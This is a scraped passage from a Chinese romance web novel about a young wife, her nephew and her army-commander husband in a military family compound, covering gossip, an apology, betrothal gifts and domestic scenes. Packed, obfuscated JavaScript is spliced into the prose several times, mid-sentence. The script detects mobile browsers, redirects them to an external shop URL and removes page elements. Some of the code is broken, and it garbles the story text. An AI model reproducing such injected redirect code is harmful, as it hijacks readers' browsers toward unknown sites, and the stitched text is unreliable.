方金花清楚婆婆的性子,生怕她惹了厉团长媳妇,连忙跑出来扮红脸。 她上前一把拉住孙老太,脸上堆起笑,放低姿态:“对不住啊,嫂子们,我婆婆她乡下来的,没见识,说话没把门的,你们别跟她一般见识。” 舒瑜淡淡瞥了方金花一眼,扯了扯嘴角,这人倒来得及时,再晚一步,孙老太把句脏话骂出口,她可不会就这么算了。 “那就把人看好,别放出来对着人乱吠。”舒瑜说完,不等他们回应,便转向吴小铃,点了点头,“吴姐,我们先走了。” “哎。” 她牵着舒明淮转身就走。 跟这种人纠缠,实在没必要,而且明淮还在边上,谁知道那孙老太会说出什么脏话来污染他们耳朵。 见舒瑜走了,似乎不打算和他们计较,方金花松了一口气,僵硬着脸对吴小铃笑笑,吴小铃扭头就进了家门。 孙老太不忿:“她们啥意思?” “娘,别说了。”方金花哄了婆婆回去。 舒瑜主动撤了,可不代表她就退一步当这事没发生过。 她已经想好了,晚上要怎么和厉关岳告状,毕竟,他也是被造谣“后爹”的老男人呢! …… 下午,舒瑜带着舒明淮去了趟县里的新华书店。 舒瑜给明淮挑了两本连环画,又拿了几本田字本,结账的时候,她目光在书架上扫了一圈,顺手又抽了本《家常菜谱》。 回家路上,舒明淮抱着连环画,翻来覆去地看,之前那一本已经翻得很旧了,这两本新的他能看很久呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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等他洗完手回来,舒明淮已经捧着画站在桌边等着了,他见厉关岳过来,他小心翼翼地举高画,带着点小炫耀:“叔叔你看。” 厉关岳接过画,低头仔细端详。 画上是窗框框出的一方天地,男孩的笑容是那样真实,与活灵活现的大白鹅一起,构成了温馨活泼的场景。 他看了好一会儿,抬眼瞧两眼舒瑜,又低头,最后认真道:“很好看。” 舒明淮心满意足地接过画,脸上是掩饰不住的高兴。 舒瑜愉悦道:“好了好了,先吃饭吧。” 厉关岳又恍若不经意地又看了舒瑜一眼。 画确实好,一看就是学过的,水平不低。 他忽然想起昨天在供销社门口,她随口说的那句“有机会给你画一张”,竟然有些期待起来。 厉关岳垂下眼,睫毛微颤,嘴角轻轻一勾。 28. 第二十八章 睡前,舒瑜趁着厉关岳去洗澡,盘腿坐在床上,开始她的护肤大业。 她拧开雪花膏的盖子,挖出一小块,细细地往脸上抹,嚓完脸和脖子,她把裤腿卷到大腿,打开蛤蜊壳包装,她抠出一大块蛤蜊油,在手心搓开,再细细致致地往腿上抹。 厉关岳每天都冲澡,动作都快,他推门进来,第一眼看到的,就是舒瑜那微曲着的双腿。 裤腿高高卷起,卡在大腿上,露出笔直修长的双腿,在昏黄的灯光下依旧白得晃眼。 只几秒的时间,厉关岳瞳孔一缩。 舒瑜大腿肉肉的弧度隐没在卷起的裤脚边缘,膝盖圆润,再往下,小腿线条流畅,踝骨分明,只细细的一截,脚背白皙,脚趾微微蜷着,蹭在被单上。 厉关岳一滞,随即默默移开眼。 舒瑜把蛤蜊油抹匀,放下裤腿,一抬头,正好对上他。 她弯起眼睛,冲他粲然一笑:“五哥。”这一声叫得婉转起伏,尾音还往上一挑。 舒瑜舔了舔下唇,有些紧张,她这还是头一回吹传说中的“枕头风”呢。 咳咳,这是叫枕头风吧? 不管了! 舒瑜朝厉关岳勾了勾手指,示意他过来。 厉关岳洗完澡本来就准备上床睡觉了,便顺着她的勾手的动作走过去,在床边坐下,眼里带着疑问。 厉关岳:“怎么了?” 舒瑜扁起嘴,语气委屈巴巴,那双乌黑的眼睛却泛着狡黠的光:“今天有人欺负我。” 厉关岳看她那副模样,心里知道她这话可能有些搞怪的成分在,舒瑜的性子他知道,不是懦弱得任人欺负的,但肯定确有其事。 他侧身,低声询问:“发生什么事了?” 舒瑜便委委屈屈地把事情经过说了一遍。 她一边说,一边悄悄往厉关岳那边蹭,说着说着,人就蹭到了他边上,脸颊离他肩膀不到十厘米,她俯身歪头,去看他的脸色。 生气了吗?生气了吗? 舒瑜直勾勾地观察,她敢保证,在说到“老男人”的时候,她五哥的嘴角绝对下落了一个像素点。 舒瑜心里偷笑,觉得自己的枕头风应该是吹成功了。 厉关岳听她说完,面上神色不变,眼底却是一冷。 他心下有了计较,一回神,舒瑜正歪着头伏在被子上,那双大眼睛滴溜溜地眨着,脸凑得极近,似是在观察他的情绪。 厉关岳手一抬,手指抵上她的额头,慢慢把人推远了些。 舒瑜也不抵抗,顺着他的力道往后一倒,瘫在被子上,侧着脸冲他笑。 厉关岳瞧着她一副没心没肺的样子,眼底的冷意化开:“我知道了,这事我会处理。” 舒瑜没落下风是一回事,她被人恶意造谣是另一回事,这事他不会作罢。 “睡吧。”厉关岳道。 舒瑜“嗯”了一声,躺进被窝,舒服得蛄蛹几下,迷迷糊糊快睡着前,她忽然想起什么,嘟囔一句:“五哥,我以后睡觉会老实的。” 说完,她翻了个身,不一会儿,呼吸就变得均匀绵长。 厉关岳沉默:“……没事。” 一个钟头后。 厉关岳垂眼看着扒拉在自己胳膊上的人,极轻地笑了一声:“老实?” 不过,随着舒瑜的靠近,一阵他从没闻过的香气幽幽地飘来,淡淡的,带着点从她皮肤里透出来的暖意。 厉关岳思及睡前她手边那些小盒子,估计这应该是雪花膏的味道。 她说要给他闻的,这会儿倒是真的闻到了。 “确实挺香的。”他在心里想。 不过,总觉得还是原来的味道更好些。 厉关岳侧过脸,昏暗中看不清她的眉眼,只有一圈柔和模糊的轮廓。 她怎么不用以前那种了? 他以前好像闻到过她身上一种极浅极浅的淡香,比这个好闻。 舒瑜如果知道,大概会翻个白眼:拜托,那时候就凭她这个穷光蛋,连最便宜的蛤蜊油都买不起好不好。 第二天,舒瑜起得比往常早,不过她睁眼是,身边还是早就没人了。 她去对面看了眼,舒明淮还睡得沉,舒瑜轻手轻脚地带上门,拿上钱票去了食堂。 买了两个葱油饼回来,她刚要进门,就被出来摘菜的吴小铃叫住。 “舒妹子!”吴小铃朝她走过来,“昨天真是对不住,害你被那孙老太缠上。” 舒瑜:“这哪能怪吴姐你啊,又不是你让她来找事的。”她面色如常,语气也轻松,没有半点介意的样子。 吴小铃仔细打量她几眼,见她真的没往心里去,心里的忐忑总算消失了。 昨晚她可琢磨了半宿,翻来覆去的睡不着,还把老魏折腾起来念叨了一通。 老魏刚开始听她说葱被偷的事,也是气哼哼的,知道她和孙老太因此吵架,他虽然生气但也没办法,毕竟确实只是一根葱的事。 可当他听了孙老太与舒瑜的矛盾,眼神一下子变得同情,心道:“老方他完了。”惹上厉关岳那个黑心肝的。 吴小铃给了他一记巴掌:“发什么呆呢!” 魏刚捂着后脑勺,就又听她忧心忡忡地念叨:“舒妹子受了委屈,也不知道会不会跟厉团长说,她要是脸皮薄,不好意思开口……” “人夫妻俩的事,你操那心干啥?”魏刚揉着脑袋。 吴小铃瞪他:“你不知道,家属院都在传呢,说厉团长娶舒瑜,是看舒营长的儿子没人照顾,这才娶了人小姑,让她来带孩子。” “这都哪跟哪啊?”魏刚不屑道。 他可不相信要是厉关岳心里不情愿,他会娶人姑娘。 吴小铃也就那么一说,她叹了口气,又绕回孙老太的事上:“唉,不过厉团长和舒妹子都是好性的人,估计这事就过去了。” 魏刚差点没被自己口水呛死,他瞪大眼睛,一脸震惊地看着自家媳妇:“厉关岳那个黑心肝的,你说他好性子?” 吴小铃斜他一眼:“你不是还记着去年部队大比,你们输给一团的事吧?” 老魏脸一红,梗着脖子道:“你胡说啥?都过去的事了,谁还惦记那个?” “睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281004|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉!”他往被窝里一缩,眼一闭,再也不吭声了。 吴小铃撇撇嘴,心里笑他嘴硬,明明就是输得不服气,还装。 这一大早的见着舒瑜,吴小铃想起昨天的事,心里到底还是过意不去。 她弯腰从菜地里摘了几个红彤彤的大番茄,塞到舒瑜手里。 “妹子,我看你那院里还空着,你要啥菜就跟姐说,姐这儿有,别客气。” 圆滚滚的番茄,红得透亮,还带着清晨的露水,舒瑜知道吴小铃是真内疚,不收反倒让人多想,便不推拒地笑着收下了:“谢谢吴姐。” 回到家,舒瑜把葱油饼放在桌上,惦记着给毛毛搭窝的事。 毕竟是家里的一份子,明淮的好朋鹅,总不能一直让它连个窝都没有 她记得储藏室里头有些木头边角料,还有几样简单的工具,应该能用。 眼看快九点了,舒明淮还没起。 舒瑜推开他房门,小家伙睡得正香,脸红扑扑的,估计是昨天跟毛毛疯玩了一天,累着了,不过睡太久也不好。 “明淮,”她轻声叫他,“起床了。” 舒明淮迷迷蒙蒙地睁开眼。 “吃了早饭,咱们给毛毛搭窝。” 话音刚落,舒明淮眼睛刷地亮了,一骨碌从床上爬起来:“好!” 葱油饼还热乎着,外焦里软,咬一口满嘴香,两人吃得津津有味,舒瑜一边吃一边想,下午可以翻翻那本菜谱,说不定上头有教怎么烙饼的。 吃完早饭,两人打开储藏室的门,里头堆着些零零碎碎的东西,舒瑜翻出几块木板,还有锤子、钉子、锯子这些工具,与舒明淮合力把东西都搬到侧边院子里。 毛毛正悠闲地在草丛里啄食,见两人过来,伸长脖子看了看,又低下头继续吃草,一副事不关己的模样。 “来,先规划一下。”舒瑜蹲下来,拿了根树枝在地上划拉,“底下四面,前面留个门,能挡风就行。” 舒明淮蹲在她旁边,时不时点点头。 开工。 锯木头这活儿舒瑜也没干过,只能摸索着来,她握着锯子,照着比对好的尺寸,一下一下用力,木头有点硬,舒明淮就在旁边扶着木板,小脸绷紧。 毛毛起初还在远处踱步,后来不知什么时候凑了过来,探头探脑地“嘎嘎”叫。 舒瑜手上不停,抽空瞥它一眼:“别捣乱,给你盖房呢。” 毛毛又嘎一声,也不知听懂没听懂。 忙活了大半个上午,一个简陋的小木屋总算立了起来钉子也钉得有点歪,但好歹是立住了,也算稳当。 舒瑜退后几步,扶着腰端详了一下,点点头,挺满意 舒瑜拿来抹布,把木屋里外仔仔细细擦了一遍,把锯末和灰尘都掸干净,阳光照在小木屋上,木头的纹理清晰可见。 毛毛似乎知道这是给它的家,它慢悠悠慌过来,伸长脖子往里头探,左右一看,然后迈步进去。 它在里头转了个圈,又探出脑袋,嘎一声。 舒瑜和舒明淮站在旁边,两张沾着汗水的脸不约而同地笑成一团。 29. 第二十九章 傍晚的风拂面,带来一丝凉意。 厉关岳提着饭盒往回走,身旁跟着刚追上来的魏刚。 “我说老厉啊,你也太狠了。”魏刚大步跟上来,语气里带着点咋咋呼呼的抱怨。 厉关岳偏头看他一眼,眼里带着点疑问。 “你还跟我装。”魏刚撇撇嘴,“这次部队拉练,你们一团好端端地非要跟我们三团切磋。” 他想起白天方有根那憋屈样,比就比吧,输得还那么难看,当着全团的面,脸都挂不住了。 厉关岳挑了挑眉:“不是你说你最近扭到腰了,让老方上的吗?” 魏刚抓抓头,嘿嘿笑了两声,没接话,他才没那么傻,去自讨苦吃。 老厉这人面上温和,动起真格来谁顶得住? 再说了,昨天他老魏媳妇也是受委屈了。 厉关岳没再说话,大步向前走去。 “哎,你等等我!”魏刚快步追上,鼻子忽然动了动,凑过去看着厉关岳手里的饭盒,“你咋天天去食堂打晚饭?” 他随口找个话题。 厉关岳觉得这问题无聊,没吭声。 魏刚也不在意,自顾自地说下去:“弟妹不会烧饭啊?” 厉关岳淡淡道:“不会又能怎么样?” “而且她身体不好。” 舒瑜性子是活泼,可身体太虚,他不会忘记那天她晕倒时医生说的话。 低血糖,营养不良。 这些日子他看着,她吃得多了些,可脸色还是白,多走些路就气喘吁吁。 慢慢养吧,急不来。 魏刚愣了一下,随即嘿嘿笑起来,拿肩膀撞了撞他:“心疼了?舍不得人干活?” 厉关岳瞥他一眼。 魏刚被他那一眼扫得收敛了些,忍不住暗自嘀咕:“啧,就这大院里还传什么老厉娶媳妇都是为了孩子,瞎了他们的眼。” 厉关岳不知道魏刚走神在想什么,他走在回家的路上,脑子里浮现的,是家里的灯光下,舒瑜和舒明淮等他回家的模样。 他脚步不自觉地快了些。 …… 舒瑜不知道厉关岳做了什么,所以第二天早上,孙大娘和她儿媳找她说要道歉时,她一时有些懵。 她刚从食堂买完早饭回来,进家属院没走几步,就被叫住了。 扭头一看,方金花站在几步开外,脸上堆着讪讪的笑,她旁边站着的孙大娘那脸上写满了不情不愿。 方金花往前迎了两步,压低声音道:“嫂子,昨天那事儿真是不好意思,我娘她、她真的知道错了。” 说着,她伸手扯了扯孙大娘的袖子,示意她说句话。 孙大娘当然不想承认自己有错。 可昨天儿子一身狼狈地回来,身上青一块紫一块的,脸色黑得像锅底。 她心疼得不行,追问了几句,才知道是今天拉练的时候,一团突然找他们三团切磋,说什么团长带头,交流经验共同进步。 “老魏腰扭了,就让我上。”方有根闷声闷气地说,“倒了八辈子霉。” 倒霉你个头! 当时孙招娣心里就冒火,一定是那厉团长和姓魏的串通好了,欺负她家有根! 方有根听完前因后果,脸色更难看了,他不敢得罪两个团长,只能咬着牙咽下这口气,怨自己老娘惹事。 孙招娣坐不住,嚷着要去找领导,告厉关岳一个公报私仇,方金花和她男人好说歹说才把人按住。 部队里拉练切磋,再正常不过的事,手底下小兵都经常比划,没道理他们当团长的就不能切磋。 技不如人,怪谁? 孙大娘铁青着脸,终于还是答应了去道个歉,这才有了今天一大早这一出。 方金花:“娘,有根……” 孙招娣梗着脖子,磕磕巴巴地挤出一句:“昨儿是我不对,不该乱说话。” 舒瑜听着,心里没什么感觉,她点点头,笑道:“那大娘记着就好,以后别乱说话,带坏大院的风气。” 说罢,她转身就要走。 “哎呀,你们这是咋了,都站在这儿?” 一道声音从旁边传来,语气带着看热闹的兴奋。 舒瑜扭头,见一个四十来岁的女人正朝这边走过来,眼睛在她们三人身上来回转。 方金花脸色僵了僵,勉强挤出笑:“赵嫂子?” 这赵红兰也是团长家的,不过这人嘴碎,又爱八卦,方金花私心不希望自家被看了笑话。 方金花心里暗骂一句晦气,她可不想让这点事传遍整个家属院,面上笑着介绍道:“赵姐,这位是厉团长家的。”她故意岔开话题,想把这茬揭过去。 果然,赵红兰的注意力马上被转移她,脸上堆起笑,故作惊讶地看向舒瑜:“哎呀,原来是厉团长的媳妇,咱们可是头一回见呢。” 舒瑜不认识这人,只微笑着点了点头:“你好。” “妹子你刚来,还适应不?”赵红兰往前凑了凑,“咱们大院条件不比城里,但比乡下肯定强多了,有啥不习惯的尽管说。” 舒瑜淡淡笑着:“都挺好的。” 赵红兰嘴上问着,眼睛也没闲着,她细细打量一番舒瑜,长得是挺好看。 但好看顶什么用呢? 家属院里传厉团长娶舒瑜是为了舒营长遗孤那话,有她一份功劳。 赵红兰心想:“不然好端端的,才几天的功夫,怎么就结婚了?” 想到这儿,赵红兰看舒瑜的眼神里不免带上了几分同情,长得再好看又如何,嫁给一个没感情的男人,唯一的用处就是在家带孩子。 她心里忽然涌上一股优越感:“妹子,听姐一句劝,你现在最要紧的,就是赶紧生个孩子,不然等以后……” 舒瑜皱眉,面色微冷。 赵红兰却没察觉,还在那儿喋喋不休:“就算你和厉团长现在没啥感情,可有了孩子就不一样了。” “有了孩子,你下半辈子就有指望了。” 孙大娘眼珠子转了转,她活了大半辈子,哪能看不出来赵红兰那点小心思,不就是暗暗地显摆自己,挤兑舒瑜吗? 不过,被暗地嘲笑的是舒瑜这丫头,她心里头就爽快。 就在这时,家属院大门口传来两声“滴滴”的喇叭身,她们一齐循声望去,一辆大卡车停在门口,一个人从驾驶室跳下来。 李成关上车门,他视力好,一眼就看见舒瑜站在前头,小跑过去:“嫂子!” 舒瑜定睛一看,笑起来:“小李同志,你怎么来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291133|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 李成笑呵呵道:“我给嫂子送东西来了!” “咱厉团长为了跟嫂子结婚,可是做足了准备!”他李成可要帮他们厉团长好好给嫂子说道说道,毕竟他们团长好不容易娶了媳妇。 舒瑜一愣。 李成噼里啪啦说起来:“缝纫机、自行车、收音机,这三大件都到了,团长让我送来。” “还有个大柜子和梳妆台,是咱团长请老师傅打的,也一起运了过来,都在后头车上呢!” 他说着,往后指了指。 卡车上确实堆着几个大件,用草绳捆得结结实实的。 赵红兰眼睛一下子瞪大,别说她还注意到舒瑜手腕上有块崭新的手表。 赵红兰心里头五味杂陈。 这年头,彩礼四大件能有一样两样就是顶好的了,她就有一辆自行车,跟人炫耀了好几年。 可这厉团长,竟然给舒瑜买齐了四大件,还另外打了柜子梳妆台? 缝纫机她家都没有呢! 她想起自己刚才说的那些话,脸上忽然烧得慌。 这叫没感情? 这种没感情,她也愿意啊! 爽啊! 舒瑜目光扫过一圈周围三人复杂的脸色,心里舒坦极了。 都不用她再说什么。 “太有面了,五哥。”舒瑜在心里美滋滋地想。 舒瑜:“那小李同志,麻烦你帮我送进去吧。” “成,嫂子你上车。”李成爽快地应了一声。 舒明淮一觉醒来,揉着眼睛从屋里出来,就看见家里多了几个庞然大物。 他愣在那儿,眼睛瞪得圆溜溜,嘴巴张开:“哇!” 舒瑜乐呵呵道:“来,吃肉包子。” 一整天,舒瑜都心情愉悦地哼着歌。 傍晚,厉关岳推门进屋,迎接他的是前所未有的热烈欢迎。 舒瑜迎到门口,笑得像朵花:“五哥回来了,辛苦啦!” 厉关岳把手里一个信封递过去:“之前拍的照片寄来了。” 舒瑜惊喜地接过信封:“那我们吃完饭一起看看!” “好。” 饭后,三个人排排坐,舒瑜在中间,她打开信封,抽出一沓照片,一张一张翻起来。 厉关岳微微侧过身,低头看着,舒明淮伸长脖子,小脑袋凑过来。 舒瑜看着看着,忽然有些恍惚。 那些过往历历在目。 可此刻,她坐在这间渐渐填满的屋子里,身边是五哥和明淮,是一点点变好的日子。 “谢谢你,五哥。” 厉关岳没说话,只是看着她。 舒瑜:“谢谢你带我们离开那儿。” 她垂着眼,长二卷的睫毛轻轻翕动,微微下垂的眼尾,透着可怜又柔软,让厉关岳很想伸手摸摸她的脑袋。 不过,只一瞬,舒瑜脸上换上了笑,眼又高兴起来,露出一个充满希望的笑容:“缝纫机有了,我明天就去买几块布,可以自己做衣服啦!” 厉关岳蜷了蜷手指,压下心底的痒意。 舒瑜带着点小得意道:“我做衣服可有一手,你们都等着看吧!” 舒瑜神采飞扬地笑着,厉关岳轻轻应了一声:“嗯。” 30. 第三十章 舒瑜想到可以给自己做漂亮衣服,心里就痒痒的,恨不得马上奔向供销社买几块好看的布料,一直被这念头缠着,她连睡着了都在梦里想着设计。 一大早,她是被热醒的。 半梦半醒间,只觉得身边暖烘烘的,像挨着个火炉,甚至闷出了一层薄薄的汗,舒瑜闭着眼皱起眉头,手往前抵住,想离那热源远一点。 手指触及的,却是温热结实的皮肤,掌心下那流畅的肌肉线条,温度稍高但弹性适中,手感意外的好。 舒瑜以为自己还在梦里,迷迷糊糊地又摸了两把,往前一伸,触到了稍软一些的地方。 下一秒,她咯噔一下清醒过来。 只一瞬间的事,她掌心下原本放松的肌肉倏地绷紧,硬得像石头。 厉关岳猛地睁开眼,目光正好与抬起头的舒瑜对上,她眼里还带着没散尽的迷蒙,带着点点“惊恐”。 舒瑜唰的一下缩回手,整个人往后仰了仰,磕磕巴巴地挤出一句:“不、不好意思。” 她涨红着脸,整个人都要烧起来了一般,颤颤巍巍地往被子里缩,像只把自己埋进沙地里的鸵鸟。 厉关岳胸口剧烈起伏了几下,呼吸慢慢平复下来,他看着那团缩在被子里只露出个发顶的人,轻笑一声:“睡傻了?”似是如常的风轻云淡。 舒瑜松了口气,翻了个身背对着他,闷声闷气地“嗯”了一下。 厉关岳盯着她圆润的后脑勺看了几秒,坐起身掀开被子,下床时顺手把那床被子压回她后背,另一床被子依旧形同虚设。 脚步声远了,门被轻轻带上。 舒瑜抱着脑袋,无声地在床上打了个滚。 “啊啊啊!” “忘掉忘掉忘掉,太丢脸了!” 她生无可恋地瘫成一个大饼。 不行,忘不掉啊,那个触感……妈妈呀,她出息了,竟然摸到男人胸了。 寡了两辈子的舒瑜如是想。 还好,离开事发地,他们的大床,舒瑜脸颊的温度慢慢降了下来。 今天还有正事呢,她要和明淮去买布,再顺道买些花种菜种,趁着天气好,把家里的院子收拾出来。 舒瑜骑着自行车载着舒明淮出发,出了家属院,不用受晕车之苦,她心情美妙。 新车骑着顺溜,明淮坐在后头也不重,她蹬着脚踏,风吹在脸上很舒服。 到了供销社,舒瑜直奔布料柜台。 柜台里摆着一卷卷布料,棉布、的确良、灯芯绒,颜色倒就那几样,她一样样看过去,偶尔摸一摸料子。 她挑了黑色、墨绿这种深色的,红色也来了点,想了想,又拿了一块浅蓝的碎花布,最后,舒瑜还不忘买几卷毛线。 售货员把东西叠好,包起来,舒瑜付了钱和票。 菜种那边,她选了小白菜、黄瓜、西红柿,都是常见好种的,种下去不用太费心。 花种类就少了,她在几个小纸包前看了半天,最后就挑了太阳花,也就是向日葵,先回去试试。 买完东西,舒瑜正要往外走,注意到拐角处的那个柜台前排着十来个人的长队。 这可少见。 舒瑜秉持着“来都来了”的精神,拉着舒明淮快步过去,排到队伍最末尾。 前面是个提着篮子的女人,舒瑜往前探了探,问道:“姐,你知道前面在卖什么吗?” 那女人回过头,倒也不藏着掖着:“嗐,在卖水果罐头呢!”她往前面张望一下,有些担忧,“也不知道排到我还有没有。” 就这么说话的功夫,舒瑜后面又来了好几个人。 水果罐头! 舒瑜眼睛亮了。 因着早上那一出,舒瑜起的可早,到县城也还算早,这才能遇上,她也在心里默默祈祷,希望能买到。 队伍一点点往前挪,好在一个水果罐头就要一张购货券,供销社还限购,一个人最多买两罐,等排到舒瑜,柜台里剩下的不多了,但两种罐头都还有。 她毫不犹豫掏出钱和购货券,要了橘子和菠萝各一罐。 东西多了,骑车就不方便,等骑到家属院门口,舒瑜已经气喘吁吁,小腿肚微微发颤。 她干脆下来,推着车往里走。 家属院里有自行车的人家不多,谁家有一辆,那可是整个大院都知道的事。 所以,舒瑜这个生面孔推着辆崭新的自行车,一路走一路被人打量着,那回头率可不是盖的。 正巧,又遇上了昨天的赵红兰。 赵红兰正和几个女人围在一块说话,其中一个正好面朝舒瑜的方向,一眼就看见了她,惊奇道:“哎,你们看,她是不是厉团长家的那个?” 赵红兰回过头,就见舒瑜推着辆漂亮的女式自行车走过来,车身小巧,崭新锃亮,她扯了扯嘴角,心里头五味杂陈。 她家也有自行车,是那种二八大杠,主要她男人在用,她个子不高,骑那车费劲得很,可舒瑜这车一看,就是专门给她用的。 “是她。”赵红兰应了一声。 不用她说什么,已经有人心里比她更别扭嫉妒了。 “咦,怎么买这种二六的车?”一个女人撇撇嘴,“那她男人骑起来多不方便,光想着自己可不行。” “就是啊,”另一个附和,“还是赵姐家的那种好,一家人都能用。” 赵红兰在心里翻了个白眼,得了吧,要是能自己决定,她也想买这种二六杠的。 这种酸话,听听得了。 她虽然看不上那几个应和的,可心底到底也泛着酸,便没多说什么,只看着舒瑜推车走远的背影。 两个水果罐头就摆在桌上,玻璃瓶透出里面黄澄澄的果肉,舒瑜有点馋,她猜明淮肯定也想吃,但忍了忍,还是决定等晚上厉关岳回来,三个人一起吃。 舒明淮上学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299097|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事已经定下来了,是部队和县城几个厂子合办的小学,地点在驻扎地和县城中间,两边都方便。 手续办得差不多了,过两天就能去上学,这几天舒瑜正抓紧教他写名字,认几个简单的字。 舒明淮趴在桌上,一笔一划地在本子上写“舒”字,很认真。 但字的笔画也是真多,舒明淮写了又擦,苦着脸,未来的大反派就这样先输在自己的名字上。 舒瑜在旁边看了会儿,悄悄挪到另一边,拿出那块军绿色的布料她想给明淮做个书包,算作上学的礼物。 她先在纸上打了草稿,量好尺寸,然后对着布料比划着裁裁剪剪。 缝纫机她研究了一下,和之后几十年的大差不差,试了两下就上手了。 一个多小时过去,手里的书包已经有了雏形,只差细细收个边,再做点装饰。 傍晚,厉关岳带饭回家。 本来还好好的,他们正常交流说话吃饭,直到两个人的视线不期而遇。 舒瑜下意识别扭地移开了眼,厉关岳倒没动,仿佛早上的事不存在一般。 饭后,舒瑜终于把心心念念的水果罐头拿了出来,她想先吃菠萝。 她一手抓着瓶盖,使出九牛二虎之力,使劲儿拧,可手心都搓红了,瓶盖依旧纹丝不动。 厉关岳叹了口气,伸出手:“给我吧。” 舒瑜递过去,看着他修长的手指握住瓶盖,手腕轻轻一动,“咔哒”一声,盖子就开了。 几息之间,舒瑜已经调整好了心态。 被占便宜的都没什么反应,她慌什么? 她给舒明淮拿了个小碗,用勺子挖了好几块菠萝进去,舒明淮高高兴兴地端着碗,挑起一块送进嘴里。 菠萝咬下去有点酸,但罐头里的水是甜的,舒明淮还挺喜欢这酸里带甜的味道。 舒瑜又要给厉关岳弄,他拒绝:“我不用,你们吃吧。” 舒瑜不赞同地瞥他一眼:“我们特意等你回来一起吃的。” 厉关岳的笑意从眼底漫开:“那我吃一块就好。” 舒瑜便用勺子挑起一块,递到他嘴边。 厉关岳垂眼看一眼嘴边的那勺菠萝又抬头看她,两个人对视着,这回谁也没先退缩。 他缓缓张开嘴,咬住菠萝,没碰到勺子。 舒瑜马上又挖了一勺给自己,酸酸甜甜的,挺好吃。 厉关岳嚼了两下,眉头轻轻皱起。 他对酸的东西向来敬谢不敏,这一口下去,只觉得腮帮子都有些发紧。 舒瑜注意到他的小表情,歪头问:“怎么了,不好吃吗?” “太酸了。”厉关岳实话实说。 舒瑜和舒明淮对视一眼,都不能理解,但尊重。 舒瑜想了想:“那个橘子的应该不会这么酸,下回给你多吃点。” 舒瑜认真分配着,厉关岳勾唇:“好。” 31. 第三十一章 自行车虽然方便,但舒瑜瘦胳膊瘦腿的,来回一趟是真不容易。 第二天,她如常地起身下床。 起来的一瞬间,大腿连着小腿一阵剧烈酸痛,甚至蔓延到臀部,舒瑜腿打着颤,龇牙咧嘴地扶住床沿,好不容易才站稳。 实在走不了太多路,舒瑜便想着今天的早午饭都在家解决。 中午煮了番茄鸡蛋面,番茄还是之前隔壁吴姐送的,味道很好,吴姐种菜确实有一手。 舒瑜本打算今天要把前院收拾出来,奈何身体不便,只能往后延。 下午,她坐在椅子上轻轻捶着腿,捶了一会儿还是难受,实在坐不住了,她叮嘱舒明淮:“明淮,写久了就歇一下,你姑我撑不住了,回房间躺一会儿。” 舒明淮抬起头,乖乖应道:“好,我和毛毛玩。” 舒瑜慢慢挪回床上,百无聊赖,躺了一会儿睡不着,便伸手拿过床头柜上的画本子,翻开新的一页,趴在床上涂涂画画。 刚开始她想画的是自己的衣服设计,脑子里想着花样,可拿起笔,那个人的身影就不自觉地冒了出来。 温热结实的肩膀,紧实的肌理,还有那一瞬间绷紧的硬度。 舒瑜脸开始发热,笔尖落下。 平直而宽阔的肩线,清晰分明的锁骨,再往下,是胸肌的轮廓,那里是恰到好处的饱满,线条流畅,透着力量感。 她还给厉关岳设计了一件他肯定不会穿的深v衬衫,完美展现了他的好身材。 一副半身像完成,她细细修改了一番,脸颊的热度慢慢降下来,画本子摊在枕边,不知不觉,趴在枕头上睡着了。 也许是身体太难受疲惫,这一觉她睡得格外沉。 傍晚,厉关岳回家。 “叔叔,你回来啦!”舒明淮正蹲在院子里拔草,手里攥着一小把,往毛毛嘴边送,毛毛啄一口,他缩回手,又递过去,乐此不疲。 厉关岳:“明淮,你小姑呢?” “小姑在屋里休息呢。” 厉关岳点点头:“那你快去洗手,进来吃饭了。” 舒明淮应了一声,拍拍手上的土,小跑着去洗手。 厉关岳缓缓推开卧室的门。 屋里光线暗些,舒瑜趴在床上,脸朝着门的方向,腮肉被枕头挤得微微鼓起,嘴巴张开一小条缝,几缕头发散落在脸颊边,挡住了几分脸。 他走近,想把人叫醒。 却见她身旁摊着的微黄画纸上,一个男人正微微笑着。 眉眼和轮廓,他都非常熟悉。 画上的男人微侧着脸,右边下颌靠近喉结的地方点着一颗小痣,那是连他自己都未曾仔细看过的地方,却被细细描在纸上,嘴角还漾着若有若无的笑意。 